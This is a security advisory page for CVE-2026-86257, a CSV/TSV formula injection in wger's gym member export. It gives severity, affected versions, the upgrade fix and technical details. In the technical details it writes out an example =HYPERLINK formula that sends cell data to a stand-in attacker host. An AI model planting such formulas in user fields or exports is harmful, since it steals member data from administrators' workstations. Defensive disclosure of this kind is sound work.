# CVE-2026-86257: wger CSV/TSV formula injection in gym member export

Source: https://junglewise.ai/threats/cve-2026-86257-wger-csv-tsv-formula-injection-in-gym-member-export  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-09-06. Updated: 2026-09-26  
License: CC BY 4.0 with a link back

CVE-2026-86257 · Severity: medium · CVSS 5.4 · Published 2026-09-06

wger is a fitness tracking and gym management platform used by trainers and gym administrators to manage member data and export member lists. A vulnerability in the member export feature allows any gym member to inject spreadsheet formulas (such as =HYPERLINK) into their profile name fields. When gym administrators export and open the member list in Excel or LibreOffice Calc, these formulas execute automatically, enabling attackers to steal sensitive data like member emails and phone numbers, or execute code on the admin's workstation.

Technologies: [wger (PyPI)](https://junglewise.ai/threats/technologies/wger). Vendors: [PyPI](https://junglewise.ai/threats/vendors/pypi).

## Quick answers

**Is CVE-2026-86257 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-86257 being exploited in the wild.

**How severe is CVE-2026-86257?** Medium severity, with a CVSS score of 5.4, published 6 September 2026.

**Which products and versions are affected?** wger (PyPI) ECOSYSTEM:introduced=0,fixed=2.6.

**Is there a fix for CVE-2026-86257?** Yes. wger (PyPI): upgrade to 2.6 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-86257 attacked?** It is attacked over the network.

**Am I affected by CVE-2026-86257?** Check whether you run wger (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- wger (PyPI): upgrade to 2.6 or later

  ```sh
  pip install "wger>=2.6"
  ```


## Technical details

This is a CSV/TSV formula injection vulnerability (CWE-1236) in the gym member export endpoint (GET /en/gym/export/users/<gym_pk>). The vulnerable code in wger/gym/views/export.py writes first_name and last_name user profile fields directly into TSV cells without sanitizing formula-prefix characters (=, +, -, @). Any authenticated gym member—including newly self-registered users—can inject malicious formulas like =HYPERLINK("http://attacker.example/?p="&A1,"click") into their own profile via the profile edit endpoint. The formula is stored in the database and reproduced verbatim in every subsequent TSV export. When a gym admin with manage_gym permission opens the exported file in a formula-evaluating spreadsheet application, the formula executes in the admin's local context, enabling data exfiltration or, on legacy Excel with DDE enabled, arbitrary code execution. The fix is to prepend a single quote (') to any cell value beginning with a formula-trigger character before writing to the TSV.

## Affected products

- wger project wger < 2.6

## Identifiers

- CVE-2026-86257
- GHSA-xq9m-hmp9-fw87

## Timeline

- 2026-04-28: disclosed: GitHub Security Advisory GHSA-xq9m-hmp9-fw87 published
- 2026-09-06: advisory: NVD and VulnCheck advisory published

## References

- [https://github.com/wger-project/wger/security/advisories/GHSA-xq9m-hmp9-fw87](https://github.com/wger-project/wger/security/advisories/GHSA-xq9m-hmp9-fw87)
- [https://www.vulncheck.com/advisories/wger-before-2.6-csv-formula-injection-via-member-export](https://www.vulncheck.com/advisories/wger-before-2.6-csv-formula-injection-via-member-export)

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